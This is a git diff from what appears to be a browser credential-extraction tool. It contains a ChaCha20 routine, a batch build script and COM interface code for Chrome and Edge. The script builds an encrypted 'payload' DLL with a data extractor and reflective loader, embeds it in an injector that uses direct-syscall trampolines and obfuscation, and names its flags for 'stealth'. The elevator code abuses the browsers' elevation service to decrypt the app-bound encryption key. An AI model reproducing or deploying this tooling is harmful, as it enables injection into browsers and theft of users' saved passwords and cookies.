x[8] = chacha20_load32(key + 16);
|
||||
x[9] = chacha20_load32(key + 20);
|
||||
x[10] = chacha20_load32(key + 24);
|
||||
x[11] = chacha20_load32(key + 28);
|
||||
|
||||
// Counter and Nonce
|
||||
x[12] = counter;
|
||||
x[13] = chacha20_load32(nonce + 0);
|
||||
x[14] = chacha20_load32(nonce + 4);
|
||||
x[15] = chacha20_load32(nonce + 8);
|
||||
|
||||
for (i = 0; i < 16; ++i) j[i] = x[i];
|
||||
|
||||
for (i = 0; i < 10; ++i) { // 20 rounds = 10 double rounds
|
||||
CHACHA20_QR(j[0], j[4], j[8], j[12]);
|
||||
CHACHA20_QR(j[1], j[5], j[9], j[13]);
|
||||
CHACHA20_QR(j[2], j[6], j[10], j[14]);
|
||||
CHACHA20_QR(j[3], j[7], j[11], j[15]);
|
||||
CHACHA20_QR(j[0], j[5], j[10], j[15]);
|
||||
CHACHA20_QR(j[1], j[6], j[11], j[12]);
|
||||
CHACHA20_QR(j[2], j[7], j[8], j[13]);
|
||||
CHACHA20_QR(j[3], j[4], j[9], j[14]);
|
||||
}
|
||||
|
||||
for (i = 0; i < 16; ++i) x[i] += j[i];
|
||||
for (i = 0; i < 16; ++i) chacha20_store32(out + 4 * i, x[i]);
|
||||
}
|
||||
|
||||
void chacha20_xor(const uint8_t key[32], const uint8_t nonce[12], uint8_t* data, size_t data_len, uint32_t counter) {
|
||||
uint8_t block[64];
|
||||
size_t i;
|
||||
|
||||
for (; data_len >= 64; data_len -= 64, data += 64) {
|
||||
chacha20_block(key, nonce, counter++, block);
|
||||
for (i = 0; i < 64; ++i) data[i] ^= block[i];
|
||||
}
|
||||
|
||||
if (data_len > 0) {
|
||||
chacha20_block(key, nonce, counter, block);
|
||||
for (i = 0; i < data_len; ++i) data[i] ^= block[i];
|
||||
}
|
||||
}
|
||||
|
||||
#endif
|
||||
@@ -2,307 +2,158 @@
|
||||
setlocal enabledelayedexpansion
|
||||
|
||||
:: =============================================================================
|
||||
:: = CONFIGURATION =
|
||||
:: ChromElevator Build System
|
||||
:: =============================================================================
|
||||
|
||||
set "BUILD_DIR=build"
|
||||
set "SRC_DIR=src"
|
||||
set "LIBS_DIR=libs"
|
||||
set "FINAL_EXE_NAME=chromelevator.exe"
|
||||
set "PAYLOAD_DLL_NAME=chrome_decrypt.dll"
|
||||
set "ENCRYPTOR_EXE_NAME=encryptor.exe"
|
||||
set "VERBOSE=1"
|
||||
|
||||
:: Compiler and Linker Flags (Optimized for size and stealth)
|
||||
set "CFLAGS_COMMON=/nologo /W3 /O1 /MT /GS- /Gy /GL"
|
||||
set "CFLAGS_CPP_ONLY=/EHsc /std:c++17"
|
||||
set "LFLAGS_COMMON=/link /NOLOGO /LTCG /OPT:REF /OPT:ICF /DYNAMICBASE /NXCOMPAT /EMITPOGOPHASEINFO"
|
||||
set "LFLAGS_STRIP=/PDBALTPATH:none /NOCOFFGRPINFO"
|
||||
:: Compiler Flags
|
||||
set "CFLAGS_COMMON=/nologo /W3 /WX- /O1 /Os /MT /GS- /Gy /GL /GR- /Gw /Zc:threadSafeInit-"
|
||||
set "CFLAGS_CPP=/std:c++17 /EHsc"
|
||||
set "CFLAGS_SQLITE=/nologo /W0 /O1 /Os /MT /GS- /Gy /GL /DSQLITE_OMIT_LOAD_EXTENSION"
|
||||
|
||||
:: =============================================================================
|
||||
:: = COLORS =
|
||||
:: =============================================================================
|
||||
for /f %%a in ('echo prompt $E ^| cmd') do set "ESC=%%a"
|
||||
set "C_RESET=%ESC%[0m"
|
||||
set "C_RED=%ESC%[91m"
|
||||
set "C_GREEN=%ESC%[92m"
|
||||
set "C_YELLOW=%ESC%[93m"
|
||||
set "C_CYAN=%ESC%[96m"
|
||||
set "C_GRAY=%ESC%[90m"
|
||||
:: Linker Flags
|
||||
set "LFLAGS_COMMON=/NOLOGO /LTCG /OPT:REF /OPT:ICF /DYNAMICBASE /NXCOMPAT /INCREMENTAL:NO"
|
||||
set "LFLAGS_MERGE=/MERGE:.rdata=.text"
|
||||
|
||||
:: =============================================================================
|
||||
:: = ENTRY POINT =
|
||||
:: =============================================================================
|
||||
:: Create build directory
|
||||
if not exist "%BUILD_DIR%" mkdir "%BUILD_DIR%"
|
||||
|
||||
:: Use a robust, linear GOTO-based flow control to avoid all parser quirks.
|
||||
if /i "%~1" == "build_encryptor_only" goto :main_build_encryptor
|
||||
if /i "%~1" == "build_target_only" goto :main_build_target
|
||||
|
||||
:: Default action if no argument is provided
|
||||
goto :main_full_build
|
||||
:: Parse command line arguments
|
||||
if "%1"=="build_encryptor_only" goto :build_encryptor
|
||||
if "%1"=="build_target_only" goto :build_target
|
||||
if "%1"=="clean" goto :clean
|
||||
|
||||
|
||||
:: =============================================================================
|
||||
:: = MAIN LOGIC =
|
||||
:: =============================================================================
|
||||
:full_build
|
||||
call :compile_sqlite
|
||||
call :compile_payload
|
||||
call :compile_encryptor
|
||||
call :encrypt_payload
|
||||
call :compile_resource
|
||||
call :compile_injector
|
||||
goto :done
|
||||
|
||||
:main_full_build
|
||||
call :display_banner
|
||||
call :check_environment
|
||||
if %errorlevel% neq 0 goto :HandleExit
|
||||
call :pre_build_setup
|
||||
if %errorlevel% neq 0 goto :HandleExit
|
||||
call :compile_sqlite
|
||||
if %errorlevel% neq 0 goto :HandleExit
|
||||
call :compile_payload
|
||||
if %errorlevel% neq 0 goto :HandleExit
|
||||
call :compile_encryptor
|
||||
if %errorlevel% neq 0 goto :HandleExit
|
||||
call :encrypt_payload
|
||||
if %errorlevel% neq 0 goto :HandleExit
|
||||
call :compile_resource
|
||||
if %errorlevel% neq 0 goto :HandleExit
|
||||
call :compile_injector
|
||||
if %errorlevel% neq 0 goto :HandleExit
|
||||
call :post_build_summary
|
||||
goto :HandleExit
|
||||
|
||||
:main_build_encryptor
|
||||
call :display_banner
|
||||
call :check_environment
|
||||
if %errorlevel% neq 0 goto :HandleExit
|
||||
call :pre_build_setup
|
||||
if %errorlevel% neq 0 goto :HandleExit
|
||||
call :compile_encryptor
|
||||
goto :HandleExit
|
||||
|
||||
:main_build_target
|
||||
call :display_banner
|
||||
call :check_environment
|
||||
if %errorlevel% neq 0 goto :HandleExit
|
||||
call :pre_build_setup_no_clean_encryptor
|
||||
if %errorlevel% neq 0 goto :HandleExit
|
||||
call :compile_sqlite
|
||||
if %errorlevel% neq 0 goto :HandleExit
|
||||
call :compile_payload
|
||||
if %errorlevel% neq 0 goto :HandleExit
|
||||
call :encrypt_payload
|
||||
if %errorlevel% neq 0 goto :HandleExit
|
||||
call :compile_resource
|
||||
if %errorlevel% neq 0 goto :HandleExit
|
||||
call :compile_injector
|
||||
if %errorlevel% neq 0 goto :HandleExit
|
||||
call :post_build_summary
|
||||
goto :HandleExit
|
||||
|
||||
|
||||
:: =============================================================================
|
||||
:: = EXIT HANDLING =
|
||||
:: =============================================================================
|
||||
|
||||
:HandleExit
|
||||
set "EXIT_CODE=%errorlevel%"
|
||||
if %EXIT_CODE% neq 0 (
|
||||
call :log_error "Build failed. Cleaning up intermediate files."
|
||||
call :cleanup >nul 2>&1
|
||||
goto :EndScript
|
||||
)
|
||||
|
||||
:: Success path
|
||||
if /i "%~1" == "build_encryptor_only" (
|
||||
rem If we only built the tool, exit silently.
|
||||
goto :EndScript
|
||||
)
|
||||
|
||||
:: For any other successful build, print the success message.
|
||||
call :log_info "Build successful. Final artifacts are ready."
|
||||
|
||||
:EndScript
|
||||
endlocal
|
||||
exit /b %EXIT_CODE%
|
||||
|
||||
|
||||
:: =============================================================================
|
||||
:: = BUILD SUBROUTINES =
|
||||
:: =============================================================================
|
||||
|
||||
:display_banner
|
||||
echo %C_CYAN%--------------------------------------------------%C_RESET%
|
||||
echo %C_CYAN%^| Chrome Injector Build Script ^|%C_RESET%
|
||||
echo %C_CYAN%--------------------------------------------------%C_RESET%
|
||||
echo.
|
||||
:clean
|
||||
echo Cleaning build directory...
|
||||
if exist "%BUILD_DIR%" rd /s /q "%BUILD_DIR%"
|
||||
if exist "%FINAL_EXE_NAME%" del /q "%FINAL_EXE_NAME%"
|
||||
echo Clean complete.
|
||||
goto :eof
|
||||
|
||||
:check_environment
|
||||
call :log_info "Verifying build environment..."
|
||||
if not defined DevEnvDir (
|
||||
call :log_error "This script must be run from a Developer Command Prompt for VS."
|
||||
exit /b 1
|
||||
)
|
||||
call :log_success "Developer environment detected."
|
||||
call :log_info "Target Architecture: %C_YELLOW%%VSCMD_ARG_TGT_ARCH%%C_RESET%"
|
||||
echo.
|
||||
:build_encryptor
|
||||
call :compile_sqlite
|
||||
echo [1/2] Compiling ChaCha20...
|
||||
cl %CFLAGS_COMMON% %CFLAGS_CPP% /c "%SRC_DIR%\crypto\chacha20.cpp" /Fo"%BUILD_DIR%\chacha20.obj"
|
||||
echo [2/2] Compiling Encryptor...
|
||||
cl %CFLAGS_COMMON% %CFLAGS_CPP% /Fe"%BUILD_DIR%\%ENCRYPTOR_EXE_NAME%" ^
|
||||
"%SRC_DIR%\tools\encryptor.cpp" "%BUILD_DIR%\chacha20.obj" ^
|
||||
/link %LFLAGS_COMMON% bcrypt.lib
|
||||
echo Encryptor built: %BUILD_DIR%\%ENCRYPTOR_EXE_NAME%
|
||||
goto :eof
|
||||
|
||||
:pre_build_setup
|
||||
call :log_info "Performing pre-build setup..."
|
||||
call :cleanup
|
||||
call :log_info " - Creating fresh build directory: %BUILD_DIR%"
|
||||
mkdir "%BUILD_DIR%"
|
||||
if %errorlevel% neq 0 (
|
||||
call :log_error "Failed to create build directory."
|
||||
exit /b 1
|
||||
)
|
||||
call :log_success "Setup complete."
|
||||
echo.
|
||||
goto :eof
|
||||
:build_target
|
||||
call :compile_sqlite
|
||||
call :compile_payload
|
||||
call :encrypt_payload
|
||||
call :compile_resource
|
||||
call :compile_injector
|
||||
goto :done
|
||||
|
||||
:pre_build_setup_no_clean_encryptor
|
||||
call :log_info "Performing pre-build setup..."
|
||||
if not exist "%BUILD_DIR%" mkdir "%BUILD_DIR%"
|
||||
call :log_success "Setup complete."
|
||||
echo.
|
||||
goto :eof
|
||||
:: =============================================================================
|
||||
:: BUILD SUBROUTINES
|
||||
:: =============================================================================
|
||||
|
||||
:compile_sqlite
|
||||
call :log_step "[1/6] Compiling SQLite3 Library"
|
||||
set "CMD_COMPILE=cl %CFLAGS_COMMON% /c %LIBS_DIR%\sqlite\sqlite3.c /Fo"%BUILD_DIR%\sqlite3.obj""
|
||||
set "CMD_LINK=lib /NOLOGO /OUT:"%BUILD_DIR%\sqlite3.lib" "%BUILD_DIR%\sqlite3.obj""
|
||||
call :run_command "%CMD_COMPILE%" " - Compiling C object file..."
|
||||
if %errorlevel% neq 0 exit /b 1
|
||||
call :run_command "%CMD_LINK%" " - Creating static library..."
|
||||
if %errorlevel% neq 0 exit /b 1
|
||||
call :log_success "SQLite3 library built successfully."
|
||||
echo.
|
||||
echo [1/6] Compiling SQLite3...
|
||||
cl %CFLAGS_SQLITE% /c "%LIBS_DIR%\sqlite\sqlite3.c" /Fo"%BUILD_DIR%\sqlite3.obj" 2>nul
|
||||
lib /NOLOGO /LTCG /OUT:"%BUILD_DIR%\sqlite3.lib" "%BUILD_DIR%\sqlite3.obj" >nul
|
||||
goto :eof
|
||||
|
||||
:compile_payload
|
||||
call :log_step "[2/6] Compiling Payload DLL (%PAYLOAD_DLL_NAME%)"
|
||||
set "CMD_C=cl %CFLAGS_COMMON% /c %SRC_DIR%\reflective_loader.c /Fo"%BUILD_DIR%\reflective_loader.obj""
|
||||
call :run_command "%CMD_C%" " - Compiling C file (reflective_loader.c)..."
|
||||
if %errorlevel% neq 0 exit /b 11
|
||||
echo [2/6] Compiling Payload...
|
||||
cl %CFLAGS_COMMON% /std:c++17 /EHs-c- /c "%SRC_DIR%\sys\bootstrap.cpp" /Fo"%BUILD_DIR%\bootstrap.obj"
|
||||
cl %CFLAGS_COMMON% %CFLAGS_CPP% /I"%LIBS_DIR%\sqlite" /c "%SRC_DIR%\payload\payload_main.cpp" /Fo"%BUILD_DIR%\payload_main.obj"
|
||||
cl %CFLAGS_COMMON% %CFLAGS_CPP% /c "%SRC_DIR%\com\elevator.cpp" /Fo"%BUILD_DIR%\elevator.obj"
|
||||
cl %CFLAGS_COMMON% %CFLAGS_CPP% /c "%SRC_DIR%\payload\pipe_client.cpp" /Fo"%BUILD_DIR%\pipe_client.obj"
|
||||
cl %CFLAGS_COMMON% %CFLAGS_CPP% /I"%LIBS_DIR%\sqlite" /c "%SRC_DIR%\payload\data_extractor.cpp" /Fo"%BUILD_DIR%\data_extractor.obj"
|
||||
cl %CFLAGS_COMMON% %CFLAGS_CPP% /c "%SRC_DIR%\crypto\aes_gcm.cpp" /Fo"%BUILD_DIR%\aes_gcm.obj"
|
||||
cl %CFLAGS_COMMON% %CFLAGS_CPP% /c "%SRC_DIR%\crypto\chacha20.cpp" /Fo"%BUILD_DIR%\chacha20.obj"
|
||||
|
||||
set "CMD_CPP=cl %CFLAGS_COMMON% %CFLAGS_CPP_ONLY% /I%LIBS_DIR%\sqlite /c %SRC_DIR%\chrome_decrypt.cpp /Fo"%BUILD_DIR%\chrome_decrypt.obj""
|
||||
call :run_command "%CMD_CPP%" " - Compiling C++ file (chrome_decrypt.cpp)..."
|
||||
if %errorlevel% neq 0 exit /b 1
|
||||
|
||||
set "CMD_LINK=link /NOLOGO /DLL /OUT:"%BUILD_DIR%\%PAYLOAD_DLL_NAME%" "%BUILD_DIR%\chrome_decrypt.obj" "%BUILD_DIR%\reflective_loader.obj" "%BUILD_DIR%\sqlite3.lib" bcrypt.lib ole32.lib oleaut32.lib shell32.lib version.lib comsuppw.lib /IMPLIB:"%BUILD_DIR%\chrome_decrypt.lib""
|
||||
call :run_command "%CMD_LINK%" " - Linking objects into DLL..."
|
||||
if %errorlevel% neq 0 exit /b 1
|
||||
|
||||
call :log_success "Payload DLL compiled successfully."
|
||||
echo.
|
||||
link %LFLAGS_COMMON% %LFLAGS_MERGE% /DLL /OUT:"%BUILD_DIR%\%PAYLOAD_DLL_NAME%" ^
|
||||
"%BUILD_DIR%\payload_main.obj" "%BUILD_DIR%\bootstrap.obj" "%BUILD_DIR%\elevator.obj" ^
|
||||
"%BUILD_DIR%\pipe_client.obj" "%BUILD_DIR%\data_extractor.obj" "%BUILD_DIR%\aes_gcm.obj" ^
|
||||
"%BUILD_DIR%\chacha20.obj" "%BUILD_DIR%\sqlite3.lib" ^
|
||||
bcrypt.lib ole32.lib oleaut32.lib shell32.lib version.lib comsuppw.lib crypt32.lib advapi32.lib kernel32.lib user32.lib libvcruntime.lib libucrt.lib
|
||||
goto :eof
|
||||
|
||||
:compile_encryptor
|
||||
call :log_step "[3/6] Compiling Encryption Utility (%ENCRYPTOR_EXE_NAME%)"
|
||||
set "CMD=cl %CFLAGS_COMMON% %CFLAGS_CPP_ONLY% /I%LIBS_DIR%\chacha %SRC_DIR%\encryptor.cpp /Fo"%BUILD_DIR%\encryptor.obj" %LFLAGS_COMMON% /OUT:"%BUILD_DIR%\%ENCRYPTOR_EXE_NAME%""
|
||||
call :run_command "%CMD%" " - Compiling and linking..."
|
||||
if %errorlevel% neq 0 exit /b 1
|
||||
call :log_success "Encryptor utility compiled successfully."
|
||||
echo.
|
||||
echo [3/6] Compiling Encryptor...
|
||||
cl %CFLAGS_COMMON% %CFLAGS_CPP% /Fe"%BUILD_DIR%\%ENCRYPTOR_EXE_NAME%" ^
|
||||
"%SRC_DIR%\tools\encryptor.cpp" "%BUILD_DIR%\chacha20.obj" ^
|
||||
/link %LFLAGS_COMMON% bcrypt.lib
|
||||
goto :eof
|
||||
|
||||
:encrypt_payload
|
||||
call :log_step "[4/6] Encrypting Payload DLL"
|
||||
set "CMD=%BUILD_DIR%\%ENCRYPTOR_EXE_NAME% %BUILD_DIR%\%PAYLOAD_DLL_NAME% %BUILD_DIR%\chrome_decrypt.enc"
|
||||
call :run_command "%CMD%" " - Running encryption process..."
|
||||
if %errorlevel% neq 0 exit /b 1
|
||||
call :log_success "Payload encrypted to chrome_decrypt.enc."
|
||||
echo.
|
||||
echo [4/6] Encrypting Payload...
|
||||
"%BUILD_DIR%\%ENCRYPTOR_EXE_NAME%" "%BUILD_DIR%\%PAYLOAD_DLL_NAME%" "%BUILD_DIR%\chrome_decrypt.enc"
|
||||
goto :eof
|
||||
|
||||
:compile_resource
|
||||
call :log_step "[5/6] Compiling Resource File"
|
||||
set "CMD=rc.exe /i "%BUILD_DIR%" /fo "%BUILD_DIR%\resource.res" %SRC_DIR%\resource.rc"
|
||||
call :run_command "%CMD%" " - Compiling .rc to .res..."
|
||||
if %errorlevel% neq 0 exit /b 1
|
||||
call :log_success "Resource file compiled successfully."
|
||||
echo.
|
||||
echo [5/6] Compiling Resource...
|
||||
rc.exe /nologo /i "%BUILD_DIR%" /fo "%BUILD_DIR%\resource.res" "%SRC_DIR%\resource.rc"
|
||||
goto :eof
|
||||
|
||||
:compile_injector
|
||||
call :log_step "[6/6] Compiling Final Injector (%FINAL_EXE_NAME%)"
|
||||
if "%VSCMD_ARG_TGT_ARCH%"=="x64" (
|
||||
set "TRAMpoline_SRC=%SRC_DIR%\syscall_trampoline_x64.asm"
|
||||
set "TRAMPOLINE_OBJ=%BUILD_DIR%\syscall_trampoline_x64.obj"
|
||||
set "ASM_CMD=ml64.exe /c /Fo"!TRAMPOLINE_OBJ!" "!TRAMPOLINE_SRC!""
|
||||
) else if "%VSCMD_ARG_TGT_ARCH%"=="arm64" (
|
||||
set "TRAMpoline_SRC=%SRC_DIR%\syscall_trampoline_arm64.asm"
|
||||
set "TRAMPOLINE_OBJ=%BUILD_DIR%\syscall_trampoline_arm64.obj"
|
||||
set "ASM_CMD=armasm64.exe -nologo "!TRAMPOLINE_SRC!" -o "!TRAMPOLINE_OBJ!""
|
||||
) else (
|
||||
call :log_error "Unsupported target architecture: %VSCMD_ARG_TGT_ARCH%. Only x64 and arm64 are supported."
|
||||
exit /b 1
|
||||
)
|
||||
call :run_command "!ASM_CMD!" " - Assembling syscall trampoline (%VSCMD_ARG_TGT_ARCH%)..."
|
||||
if %errorlevel% neq 0 exit /b 1
|
||||
set "CMD_COMPILE_INJECTOR_SRC=cl %CFLAGS_COMMON% %CFLAGS_CPP_ONLY% /I%LIBS_DIR%\chacha /c %SRC_DIR%\chrome_inject.cpp /Fo"%BUILD_DIR%\chrome_inject.obj""
|
||||
call :run_command "!CMD_COMPILE_INJECTOR_SRC!" " - Compiling C++ source (chrome_inject.cpp)..."
|
||||
if %errorlevel% neq 0 exit /b 1
|
||||
|
||||
set "CMD_COMPILE_SYSCALLS_SRC=cl %CFLAGS_COMMON% %CFLAGS_CPP_ONLY% /c %SRC_DIR%\syscalls.cpp /Fo"%BUILD_DIR%\syscalls.obj""
|
||||
call :run_command "!CMD_COMPILE_SYSCALLS_SRC!" " - Compiling C++ source (syscalls.cpp)..."
|
||||
if %errorlevel% neq 0 exit /b 1
|
||||
|
||||
set "CMD_COMPILE_OBFUSCATION_SRC=cl %CFLAGS_COMMON% %CFLAGS_CPP_ONLY% /c %SRC_DIR%\syscalls_obfuscation.cpp /Fo"%BUILD_DIR%\syscalls_obfuscation.obj""
|
||||
call :run_command "!CMD_COMPILE_OBFUSCATION_SRC!" " - Compiling C++ source (syscalls_obfuscation.cpp)..."
|
||||
if %errorlevel% neq 0 exit /b 1
|
||||
|
||||
set "CMD_LINK_FINAL=cl %CFLAGS_COMMON% %CFLAGS_CPP_ONLY% "%BUILD_DIR%\chrome_inject.obj" "%BUILD_DIR%\syscalls.obj" "%BUILD_DIR%\syscalls_obfuscation.obj" !TRAMPOLINE_OBJ! "%BUILD_DIR%\resource.res" version.lib shell32.lib %LFLAGS_COMMON% %LFLAGS_STRIP% /OUT:".\%FINAL_EXE_NAME%""
|
||||
call :run_command "!CMD_LINK_FINAL!" " - Linking final executable..."
|
||||
if %errorlevel% neq 0 exit /b 1
|
||||
call :log_success "Final injector built successfully."
|
||||
echo.
|
||||
echo [6/6] Compiling Injector...
|
||||
if "%VSCMD_ARG_TGT_ARCH%"=="arm64" (
|
||||
armasm64.exe -nologo "%SRC_DIR%\sys\syscall_trampoline_arm64.asm" -o "%BUILD_DIR%\syscall_trampoline.obj"
|
||||
) else (
|
||||
ml64.exe /nologo /c /Fo"%BUILD_DIR%\syscall_trampoline.obj" "%SRC_DIR%\sys\syscall_trampoline_x64.asm"
|
||||
)
|
||||
|
||||
cl %CFLAGS_COMMON% %CFLAGS_CPP% /c "%SRC_DIR%\injector\injector_main.cpp" /Fo"%BUILD_DIR%\injector_main.obj"
|
||||
cl %CFLAGS_COMMON% %CFLAGS_CPP% /c "%SRC_DIR%\injector\browser_discovery.cpp" /Fo"%BUILD_DIR%\browser_discovery.obj"
|
||||
cl %CFLAGS_COMMON% %CFLAGS_CPP% /c "%SRC_DIR%\injector\process_manager.cpp" /Fo"%BUILD_DIR%\process_manager.obj"
|
||||
cl %CFLAGS_COMMON% %CFLAGS_CPP% /c "%SRC_DIR%\injector\pipe_server.cpp" /Fo"%BUILD_DIR%\pipe_server.obj"
|
||||
cl %CFLAGS_COMMON% %CFLAGS_CPP% /c "%SRC_DIR%\injector\injector.cpp" /Fo"%BUILD_DIR%\injector.obj"
|
||||
cl %CFLAGS_COMMON% %CFLAGS_CPP% /c "%SRC_DIR%\sys\internal_api.cpp" /Fo"%BUILD_DIR%\internal_api.obj"
|
||||
|
||||
link %LFLAGS_COMMON% %LFLAGS_MERGE% /OUT:".\%FINAL_EXE_NAME%" ^
|
||||
"%BUILD_DIR%\injector_main.obj" "%BUILD_DIR%\browser_discovery.obj" ^
|
||||
"%BUILD_DIR%\process_manager.obj" "%BUILD_DIR%\pipe_server.obj" ^
|
||||
"%BUILD_DIR%\injector.obj" "%BUILD_DIR%\internal_api.obj" ^
|
||||
"%BUILD_DIR%\chacha20.obj" "%BUILD_DIR%\syscall_trampoline.obj" ^
|
||||
"%BUILD_DIR%\resource.res" ^
|
||||
version.lib shell32.lib advapi32.lib user32.lib bcrypt.lib
|
||||
goto :eof
|
||||
|
||||
:post_build_summary
|
||||
echo %C_CYAN%--------------------------------------------------%C_RESET%
|
||||
echo %C_CYAN%^| BUILD SUCCESSFUL ^|%C_RESET%
|
||||
echo %C_CYAN%--------------------------------------------------%C_RESET%
|
||||
echo.
|
||||
echo %C_YELLOW%Final Executable:%C_RESET% .\%FINAL_EXE_NAME%
|
||||
echo.
|
||||
goto :eof
|
||||
|
||||
|
||||
:: =============================================================================
|
||||
:: = HELPER SUBROUTINES =
|
||||
:: =============================================================================
|
||||
|
||||
:run_command
|
||||
set "command_to_run=%~1"
|
||||
set "message=%~2"
|
||||
call :log_info "%message%"
|
||||
if %VERBOSE%==1 (
|
||||
echo %C_GRAY%!command_to_run!%C_RESET%
|
||||
!command_to_run!
|
||||
) else (
|
||||
!command_to_run! >nul 2>nul
|
||||
)
|
||||
|
||||
if %errorlevel% neq 0 (
|
||||
call :log_error "Previous step failed. Halting build."
|
||||
exit /b 1
|
||||
)
|
||||
goto :eof
|
||||
|
||||
:cleanup
|
||||
if exist "%BUILD_DIR%\" rmdir /s /q "%BUILD_DIR%"
|
||||
if exist "%FINAL_EXE_NAME%" del "%FINAL_EXE_NAME%" > nul 2>&1
|
||||
goto :eof
|
||||
|
||||
:log_step
|
||||
echo %C_YELLOW%-- %~1 %C_YELLOW%------------------------------------------------%C_RESET%
|
||||
goto :eof
|
||||
|
||||
:log_info
|
||||
echo %C_GRAY%[INFO]%C_RESET% %~1
|
||||
goto :eof
|
||||
|
||||
:log_success
|
||||
echo %C_GREEN%[ OK ]%C_RESET% %~1
|
||||
goto :eof
|
||||
|
||||
:log_error
|
||||
echo %C_RED%[FAIL]%C_RESET% %~1
|
||||
:done
|
||||
echo.
|
||||
echo =============================================================================
|
||||
echo [√] Build Complete: %FINAL_EXE_NAME%
|
||||
for %%A in (".\%FINAL_EXE_NAME%") do echo [√] Binary Size: %%~zA bytes
|
||||
echo =============================================================================
|
||||
echo.
|
||||
echo Cleaning up build artifacts...
|
||||
|
||||
:: Clean up intermediate files, keep only essential outputs
|
||||
del /q "%BUILD_DIR%\*.obj" 2>nul
|
||||
del /q "%BUILD_DIR%\*.lib" 2>nul
|
||||
del /q "%BUILD_DIR%\*.exp" 2>nul
|
||||
del /q "%BUILD_DIR%\*.res" 2>nul
|
||||
del /q "%BUILD_DIR%\%ENCRYPTOR_EXE_NAME%" 2>nul
|
||||
|
||||
:: Clean up root directory artifacts
|
||||
del /q "*.obj" 2>nul
|
||||
|
||||
echo [+] Cleaned intermediate object files
|
||||
echo [+] Removed temporary artifacts
|
||||
echo.
|
||||
echo Build artifacts: %FINAL_EXE_NAME% + %BUILD_DIR%\chrome_decrypt.dll + %BUILD_DIR%\chrome_decrypt.enc
|
||||
goto :eof
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,83 @@
|
||||
// (c) Alexander 'xaitax' Hagenah
|
||||
// Licensed under the MIT License. See LICENSE file in the project root for full license information.
|
||||
|
||||
#include "elevator.hpp"
|
||||
#include <stdexcept>
|
||||
#include <sstream>
|
||||
|
||||
namespace Com
|
||||
{
|
||||
|
||||
Elevator::Elevator()
|
||||
{
|
||||
HRESULT hr = CoInitializeEx(NULL, COINIT_APARTMENTTHREADED);
|
||||
if (FAILED(hr))
|
||||
throw std::runtime_error("CoInitializeEx failed");
|
||||
m_initialized = true;
|
||||
}
|
||||
|
||||
Elevator::~Elevator()
|
||||
{
|
||||
if (m_initialized)
|
||||
CoUninitialize();
|
||||
}
|
||||
|
||||
std::vector<uint8_t> Elevator::DecryptKey(const std::vector<uint8_t> &encryptedKey, const CLSID &clsid, const IID &iid, bool isEdge)
|
||||
{
|
||||
BSTR bstrEnc = SysAllocStringByteLen(reinterpret_cast<const char *>(encryptedKey.data()), (UINT)encryptedKey.size());
|
||||
if (!bstrEnc)
|
||||
throw std::runtime_error("SysAllocStringByteLen failed");
|
||||
|
||||
// RAII for BSTR
|
||||
struct BstrDeleter
|
||||
{
|
||||
void operator()(BSTR b) { SysFreeString(b); }
|
||||
};
|
||||
std::unique_ptr<OLECHAR[], BstrDeleter> encGuard(bstrEnc);
|
||||
|
||||
BSTR bstrPlain = nullptr;
|
||||
DWORD comErr = 0;
|
||||
HRESULT hr = E_FAIL;
|
||||
|
||||
if (isEdge)
|
||||
{
|
||||
Microsoft::WRL::ComPtr<IEdgeElevatorFinal> elevator;
|
||||
hr = CoCreateInstance(clsid, nullptr, CLSCTX_LOCAL_SERVER, iid, &elevator);
|
||||
if (SUCCEEDED(hr))
|
||||
{
|
||||
CoSetProxyBlanket(elevator.Get(), RPC_C_AUTHN_DEFAULT, RPC_C_AUTHZ_DEFAULT, COLE_DEFAULT_PRINCIPAL,
|
||||
RPC_C_AUTHN_LEVEL_PKT_PRIVACY, RPC_C_IMP_LEVEL_IMPERSONATE, nullptr, EOAC_DYNAMIC_CLOAKING);
|
||||
hr = elevator->DecryptData(bstrEnc, &bstrPlain, &comErr);
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
Microsoft::WRL::ComPtr<IOriginalBaseElevator> elevator;
|
||||
hr = CoCreateInstance(clsid, nullptr, CLSCTX_LOCAL_SERVER, iid, &elevator);
|
||||
if (SUCCEEDED(hr))
|
||||
{
|
||||
CoSetProxyBlanket(elevator.Get(), RPC_C_AUTHN_DEFAULT, RPC_C_AUTHZ_DEFAULT, COLE_DEFAULT_PRINCIPAL,
|
||||
RPC_C_AUTHN_LEVEL_PKT_PRIVACY, RPC_C_IMP_LEVEL_IMPERSONATE, nullptr, EOAC_DYNAMIC_CLOAKING);
|
||||
hr = elevator->DecryptData(bstrEnc, &bstrPlain, &comErr);
|
||||
}
|
||||
}
|
||||
|
||||
if (FAILED(hr))
|
||||
{
|
||||
std::ostringstream oss;
|
||||
oss << "DecryptData failed: 0x" << std::hex << hr;
|
||||
throw std::runtime_error(oss.str());
|
||||
}
|
||||
|
||||
if (!bstrPlain)
|
||||
throw std::runtime_error("Decrypted key is null");
|
||||
|
||||
std::unique_ptr<OLECHAR[], BstrDeleter> plainGuard(bstrPlain);
|
||||
UINT len = SysStringByteLen(bstrPlain);
|
||||
|
||||
std::vector<uint8_t> result(len);
|
||||
memcpy(result.data(), bstrPlain, len);
|
||||
return result;
|
||||
}
|
||||
|
||||
}
|
||||
@@ -0,0 +1,59 @@
|
||||
// (c) Alexander 'xaitax' Hagenah
|
||||
// Licensed under the MIT License. See LICENSE file in the project root for full license information.
|
||||
|
||||
#pragma once
|
||||
|
||||
#include <Windows.h>
|
||||
#include <wrl/client.h>
|
||||
#include <string>
|
||||
#include <vector>
|
||||
|
||||
namespace Com {
|
||||
|
||||
enum class ProtectionLevel {
|
||||
None = 0,
|
||||
PathValidationOld = 1,
|
||||
PathValidation = 2,
|
||||
Max = 3
|
||||
};
|
||||
|
||||
// Interface definitions
|
||||
MIDL_INTERFACE("A949CB4E-C4F9-44C4-B213-6BF8AA9AC69C")
|
||||
IOriginalBaseElevator : public IUnknown {
|
||||
public:
|
||||
virtual HRESULT STDMETHODCALLTYPE RunRecoveryCRXElevated(const WCHAR*, const WCHAR*, const WCHAR*, const WCHAR*, DWORD, ULONG_PTR*) = 0;
|
||||
virtual HRESULT STDMETHODCALLTYPE EncryptData(ProtectionLevel, const BSTR, BSTR*, DWORD*) = 0;
|
||||
virtual HRESULT STDMETHODCALLTYPE DecryptData(const BSTR, BSTR*, DWORD*) = 0;
|
||||
};
|
||||
|
||||
MIDL_INTERFACE("E12B779C-CDB8-4F19-95A0-9CA19B31A8F6")
|
||||
IEdgeElevatorBase_Placeholder : public IUnknown {
|
||||
public:
|
||||
